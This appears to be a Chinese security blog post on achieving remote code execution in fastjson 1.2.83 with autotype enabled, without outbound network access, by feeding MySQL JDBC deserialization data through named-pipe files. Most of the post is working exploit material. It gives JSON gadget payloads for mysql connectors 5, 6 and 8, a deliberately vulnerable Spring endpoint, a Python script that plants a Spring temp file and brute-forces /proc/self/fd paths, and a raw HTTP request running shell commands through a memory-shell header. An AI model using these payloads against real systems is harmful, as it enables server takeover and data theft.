fastjson1.2.83(开autotype)+mysql不出网利用

前言

众所周知,高版本的fastjson的autotype是默认关闭的,这意味着fastjson默认走白名单,目前而言没有公开利用的poc,但如果开了autotype的情况下,fastjson走的是黑名单(https://github.com/LeadroyaL/fastjson-blacklist),只要找一些冷门的没有进黑名单的类就能绕过黑名单。

比如云鼎在blackhat公布的fastjson 1.2.68的这几条mysql的链其实就没有进黑名单,即使是高版本fastjson,开了autotype还是能打的:

当然,当年的时候mysql jdbc想要打还只能出网,今年的时候yulate哥哥在先知沙龙提出了利用pipe文件实现mysql jdbc不出网利用,我们也整了个jdbc-trick项目总结了这些神奇jdbc小trick:https://github.com/yulate/jdbc-tricks/,这也让不出网利用fastjson实现rce成为了可能。

利用mysql+fastjson实现不出网rce

简单来说,所有实现了socketFactory接口的类都可以指定为一个连接方式,其中NamedPipe可以指定一个数据包,我们可以将mysql jdbc反序列化利用的数据包直接传入NamedPipe,这样在发起jdbc连接时就能在不出网的情况下利用该数据包实现反序列化,进而造成rce

由于早年还没有这个技巧,我们其实可以注意到云鼎提出的三条链子里,只有mysql6的这条是完全不需要对外发起连接的,mysql5和8其实还是得指定一个host,只有host能被正常连接才会走到后面发起jdbc连接的过程。

mysql6

这里我们先用mysql6作为示例,看看mysql6的不出网利用,环境为:

 <dependency>
      <groupId>com.alibaba</groupId>
          <artifactId>fastjson</artifactId>
      <version>1.2.83</version>
</dependency>

<dependency>
      <groupId>mysql</groupId>
          <artifactId>mysql-connector-java</artifactId>
      <version>6.0.2</version>
</dependency>

这里我们使用java-chains来生成恶意pipe文件,伟大的java-chains在近几个版本里增加了一键生成pipe的功能,实在是太方便了!

进入java-chains,在Generate的FakeMySQLBuildPipeFile这里就是恶意pipe文件生成功能:

这里的界面其实和mysql jdbc那里差不多,我们选择fastjson即可,然后选择下载模式,即可下载到恶意的pipe文件:

值得注意的是,这里我们需要选择对应的mysql版本,并且用户名也需要和jdbc请求时的用户名一样,比如这里都是mysql

然后开了autotype,只要照抄1.2.68的poc即可实现不出网rce:

package com.suctf;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fastjon_mysql_calc_6 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String exp = "\n" +
                "{\n" +
                "       \"@type\":\"java.lang.AutoCloseable\",\n" +
                "       \"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\",\n" +
                "       \"proxy\": {\n" +
                "              \"connectionString\":{\n" +
                "                     \"url\":\"jdbc:mysql://xxx/test?useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=mysql&socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath=calc_6.txt\"\n" +
                "              }\n" +
                "       }\n" +
                "}";
        JSON.parseObject(exp);
    }
}

mysql5

对于mysql5和mysql8其实也同样可以实现mysql jdbc不出网利用,这里的poc来自于unam4大佬,同时他也是java-chains恶意mysql pipe生成这一功能的开发者,实在是太强了!

<dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
<!--            <version>6.0.2</version>-->
            <version>5.1.15</version>
</dependency>

生成pipe的时候记得选mysql5:

package com.suctf;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class Fastjson_mysql_calc_5 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String mysql5poc = "{\n" +
                "  \"x1\": {\n" +
                "    \"@type\": \"java.lang.AutoCloseable\",\n" +
                "    \"@type\": \"com.mysql.jdbc.JDBC4Connection\",\n" +
                "    \"hostToConnectTo\": \"127.0.0.1\",\n" +
                "    \"portToConnectTo\": 3306,\n" +
                "    \"info\": {\n" +
                "      \"useSSL\": \"false\",\n" +
                "      \"user\": \"mysql\",\n" +
                "      \"HOST\": \"xxx\",\n" +
                "      \"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\n" +
                "      \"autoDeserialize\": \"true\",\n" +
                "      \"NUM_HOSTS\": \"1\",\n" +
                "      \"socketFactory\": \"com.mysql.jdbc.NamedPipeSocketFactory\",\n" +
                "      \"namedPipePath\": \"calc_5.txt\",\n" +
                "      \"DBNAME\": \"test\"\n" +
                "    },\n" +
                "    \"databaseToConnectTo\": \"test\",\n" +
                "    \"url\": \"\"\n" +
                "  }\n" +
                "}\n";
        JSON.parseObject(mysql5poc);
    }
}

虽然上面的poc看起来填了什么host、port,但其实不影响反序列化,主要利用的是这个calc_5.txt,这个ip乱写都行

mysql8

            <artifactId>mysql-connector-java</artifactId>
<!--            <version>6.0.2</version>-->
<!--            <version>5.1.15</version>-->
            <version>8.0.19</version>

记得选mysql8

package com.suctf;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fastjson_mysql_calc_8 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String mysql8poc ="{\n" +
                "  \"x1\": {\n" +
                "    \"@type\": \"java.lang.AutoCloseable\",\n" +
                "    \"@type\": \"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection\",\n" +
                "    \"proxy\": {\n" +
                "      \"@type\": \"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy\",\n" +
                "      \"connectionUrl\": {\n" +
                "        \"@type\": \"com.mysql.cj.conf.url.ReplicationConnectionUrl\",\n" +
                "        \"masters\": [\n" +
                "          {}\n" +
                "        ],\n" +
                "        \"slaves\": [],\n" +
                "        \"properties\": {\n" +
                "          \"host\": \"xxx\",\n" +
                "          \"user\": \"mysql\",\n" +
                "          \"queryInterceptors\": \"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor\",\n" +
                "          \"autoDeserialize\": \"true\",\n" +
                "          \"socketFactory\": \"com.mysql.cj.protocol.NamedPipeSocketFactory\",\n" +
                "          \"path\": \"calc_8.txt\",\n" +
                "          \"maxAllowedPacket\": \"74996390\",\n" +
                "          \"dbname\": \"test\",\n" +
                "          \"useSSL\": \"false\"\n" +
                "        }\n" +
                "      }\n" +
                "    }\n" +
                "  }\n" +
                "}\n";
        JSON.parseObject(mysql8poc);
    }
}

利用spring临时文件实现rce

上面的利用还有一个小缺点,就是需要攻击者可以上传一个文件,虽然恶意pipe不限制后缀,只要有恶意数据就行,比如有个上传头像接口也行,但终究有所限制,这里我们可以使用m4x哥哥提出来的方法:https://xz.aliyun.com/news/17830,利用spring临时文件实现来rce

这里我自己写了个简单的环境来展示这个过程,主要就是spring、fastjson和mysql:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.suctf</groupId>
    <artifactId>fastjson_mysql</artifactId>
    <version>1.0-SNAPSHOT</version>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.18</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>

    <dependencies>
        <!-- Spring Web 依赖,用于提供简单的 Web 接口 -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.83</version>
        </dependency>

        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>6.0.2</version>
<!--            <version>5.1.15</version>-->
<!--            <version>8.0.19</version>-->
        </dependency>
    </dependencies>

    <properties>
        <java.version>1.8</java.version>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

恶意接口:

package com.suctf.controller;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import java.util.HashMap;
import java.util.Map;

@RestController
@RequestMapping("/json")
public class JsonController {

    @PostMapping(
            value = "/parse",
            produces = MediaType.APPLICATION_JSON_VALUE
    )
    public Map<String, Object> parse(@RequestBody String jsonText) {
        Map<String, Object> result = new HashMap<>();
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        try {
            JSONObject parsed = JSON.parseObject(jsonText);
            result.put("success", true);
            result.put("parsed", parsed);
        } catch (Exception e) {
            result.put("success", false);
            result.put("error", e.getMessage());
        }
        return result;
    }
}

这里的内存马我也用的是java-chains上的OneForAllEcho,我做了个docker环境:

docker-compose up

攻击脚本基本上就是稍微改了一下m4x哥哥的,这里演示的是mysql6,当然其他的环境也行:

import socket
import threading
import time
import requests
import json

HOST = "127.0.0.1"
PORT = 8080


def cache_tmp():
    filepath = "./rce.txt"
    with open(filepath, "rb") as f:
        raw_data = f.read().strip()
    data_hex = raw_data.hex()
    a = data_hex
    a = b"""POST /json/parse HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=xxxxxx
User-Agent: python-requests/2.32.3
Content-Length: 1296800

--xxxxxx
Content-Disposition: form-data; name="file"; filename="a.txt"

{{payload}}
""".replace(
        b"\n", b"\r\n"
    ).replace(
        b"{{payload}}", bytes.fromhex(a) + b"0" * 1024 * 11
    )
    s = socket.socket()
    s.connect((HOST, PORT))
    s.sendall(a)
    time.sleep(1111111)


def exp():
    url = f"http://{HOST}:{PORT}/json/parse"
    headers = {
        "Host": "127.0.0.1:8080",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "X-Authorization": "whoami",
        "Content-Type": "application/json",
    }
    for fd in range(20, 101):
        print(f"当前爆破到fd: {fd}")
        named_pipe_path = f"/proc/self/fd/{fd}"
        payload = {
            "@type": "java.lang.AutoCloseable",
            "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
            "proxy": {
                "connectionString": {
                    "url": f"jdbc:mysql://xxx/test?useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=mysql&socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath={named_pipe_path}"
                }
            },
        }
        payload_json = json.dumps(payload).encode("utf-8")
        headers["Content-Length"] = str(len(payload_json))
        try:
            response = requests.post(url, headers=headers, data=payload_json, timeout=5)
            # 检查响应中是否包含"root"
            if "root" in response.text:
                print("\n========== 命中目标 ==========")
                print(f"请求体: {json.dumps(payload, indent=2)}")
                print(f"响应内容: {response.text}")
                print("==============================")
                # 终止爆破
                break
        except Exception:
            continue


threading.Thread(target=cache_tmp).start()
time.sleep(3)
exp()
POST /json/parse HTTP/1.1
Host: 127.0.0.1:8080
X-Authorization: ls -al
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/json
Content-Length: 448

{       "@type":"java.lang.AutoCloseable",       "@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",       "proxy": {              "connectionString":{                     "url":"jdbc:mysql://xxx/test?useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=mysql&socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath=/proc/self/fd/26"              }       }}

总结

虽然说的是fastjson1.2.83(开autotype),但其实除了这个版本,几个老版本的fastjson比如1.2.68和1.2.80应该也可以利用这种方法实现不出网rce,也算给大家抛砖引玉了,完整的代码环境我放在github上了,有兴趣的师傅可以复现一下:https://github.com/Fushuling/fastjson_mysql

评论

  1. 1
    2 月前
    2025-12-16 11:19:37

    我就说公众号怎么可能有高质量的文章

  2. 日卫星
    已编辑
    2 月前
    2025-12-16 16:15:16

    微信公众号过来的,感谢分享,干货很多!

  3. Asy0y0
    2 月前
    2025-12-16 19:41:19

    好文章!

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇